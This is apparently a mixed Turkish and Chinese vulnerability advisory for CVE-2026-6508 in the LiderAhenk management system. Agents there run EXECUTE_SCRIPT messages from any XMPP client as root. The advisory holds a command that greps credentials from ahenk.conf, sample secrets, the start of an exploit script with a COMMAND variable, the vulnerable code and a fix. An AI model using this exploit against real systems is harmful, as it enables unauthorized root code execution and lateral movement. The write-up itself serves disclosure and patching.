CVE-2026-6508 LiderAhenk Merkezi Yönetim Sistemi mimarisinde, uç birimler (agents) arası tüm istemcilerin birbirleri üzerinde 'root' yetkisiyle kod çalıştırılmasına (unauthorized rce & lateral movement) olanak tanıyan kritik güvenlik zafiyeti.
EvilAhenk 是 LiderAhenk 中央管理系统架构中的一个关键安全漏洞,允许所有客户端在彼此之间以 'root' 权限执行代码(未授权 RCE 与横向移动)。
在 LiderAhenk 中,管理面板/中央服务器通过 XMPP 向客户端发送任务和策略消息。
ahenk agent 也连接到同一个 XMPP 基础设施,EXECUTE_POLICY、EXECUTE_TASK 或 EXECUTE_SCRIPT 等消息,也就是说,XMPP 在这里是管理流量的传输通道。管理面板的命令通常通过该通道发送到客户端。
预期流程:
Lider/Ahenk 管理面板 -> XMPP 服务器 -> 目标 agent
漏洞流程:
ct-2 是连接到同一 XMPP 服务器的有效客户端,ct-2 以 ct-1 的 JID 为目标,通过 XMPP 服务器发送 EXECUTE_SCRIPT 消息,ct-1,ct-1 在不验证消息是否真正来自 lider_sunucu 的情况下执行命令,ahenk.service 以 root 运行。ct-2 或其他 XMPP 账户 -> XMPP 服务器 -> ct-1 agent -> root 命令
也就是说,我们并没有破解 XMPP 层。XMPP 服务器正常转发消息。问题在于 ct-1 端的 Ahenk agent 没有检查传入消息是否真正来自授权管理账户。
pip install slixmpp
在已被攻破且连接到中央管理系统的客户端上,收集如下信息:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
示例输出;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
根据获取的信息更新 Main.py 文件,其中 im.liderahenk.org 为域名,pardus-ct-1 为目标 uid
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- 默认目标: `[email protected]`
在受害者机器上执行的命令可通过修改 COMMAND 变量进行调整。
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
在 repos/ahenk/src/base/messaging/messenger.py 中,传入的消息仅根据 type 字段进行处理,未对 msg['from'] 进行授权发送者验证:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
而在 repos/ahenk/src/base/execution/execution_manager.py 中,EXECUTE_SCRIPT 直接执行命令:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
这两部分组合后的效果如下:
EXECUTE_SCRIPT 事件,可能的修复方案:
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))